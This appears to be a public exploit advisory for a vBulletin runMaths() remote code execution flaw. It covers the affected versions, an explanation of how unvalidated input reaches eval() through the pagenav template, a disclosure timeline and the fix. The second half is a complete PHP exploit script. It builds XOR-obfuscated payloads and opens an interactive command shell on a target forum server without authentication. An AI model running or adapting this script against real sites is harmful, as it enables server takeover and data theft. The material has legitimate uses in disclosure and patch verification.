## https://sploitus.com/exploit?id=PACKETSTORM:226948
-----------------------------------------------------------------
vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
-----------------------------------------------------------------
[-] Software Link:
https://www.vbulletin.com
[-] Affected Versions:
Version 5.7.5 and prior 5.x versions.
Version 6.2.1 and prior 6.x versions.
[-] Vulnerability Description:
The vulnerable code is located within the
/includes/vb5/template/runtime.php script. Specifically, into the
vB5_Template_Runtime::runMaths() method: the $str parameter is not
sufficiently sanitized before being used in an eval() call. The regex used
to validate the input parameter will filter the string only allowing for
digits, parentheses, math and binary operators (the XOR, particularly). As
such, this can be exploited to inject and execute (semi) arbitrary PHP code
through "phpfuck" techniques. The vulnerability could be exploited by e.g.
administrator users, by editing a template/style in the admin panel and
adding a specially crafted {vb:math} tag (which is a sort of wrapper around
the vB5_Template_Runtime::runMaths() method). However, this can also be
exploited by unauthenticated attackers by abusing the
ajax/render/[template] route, rendering a template which uses the {vb:math}
tag with an user-tainted parameter. One of the possible templates that can
be abused that way is the default "pagenav" template: here, user input
passed through the "pagenav[pagenumber]" parameter will be assigned to the
"pagenav.currentpage" template variable, which is later used within a
{vb:math} tag, thus passed to the vB5_Template_Runtime::runMaths() method,
which in turn will pass this string to eval(), eventually resulting in
execution of (semi) arbitrary PHP code on the web server.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2026-61511.php
[-] Solution:
Apply the vendor patch or upgrade to version 6.2.2 or later.
[-] Disclosure Timeline:
[25/06/2026] - Vendor was notified by SSD Secure Disclosure
[30/06/2026] - Vendor released security patch to address this issue:
https://tinyurl.com/vb-patch
[01/07/2026] - Vendor released version 6.2.2: https://tinyurl.com/vb-622
[13/07/2026] - CVE identifier requested
[13/07/2026] - CVE identifier assigned
[27/07/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-61511 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-13
[-] Other References:
https://ssd-disclosure.com/vbulletin-runtime-template-runmaths-preauth-rce/
--- packet storm attached poc ---
<?php
/*
-----------------------------------------------------------------
vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
-----------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-13
*/
set_time_limit(0);
error_reporting(E_ERROR);
print "+---------------------------------------------------------------------+\n";
print "| vBulletin <= 6.2.1 (runMaths) Remote Code Execution Exploit by EgiX |\n";
print "+---------------------------------------------------------------------+\n";
if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");
if ($argc != 2)
{
print "\nUsage......: php $argv[0] <URL>\n";
print "\nExample....: php $argv[0] http://localhost/vb/";
print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
die();
}
function encodeChar($char)
{
$numbers = ['0' => '(0)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];
$char = strval(ord($char));
for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';
return rtrim($ret, '.');
}
function makePayload($function, $param)
{
$chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';
foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
$ret = "(" . rtrim($ret, '.') . ')((';
foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
return rtrim($ret, '.') . '))';
}
$curl = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];
curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");
while(1)
{
print "\nvb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$cmd .= "; echo _____";
$params["pagenav[pagenumber]"] = makePayload("system", $cmd);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed!\n\n");
}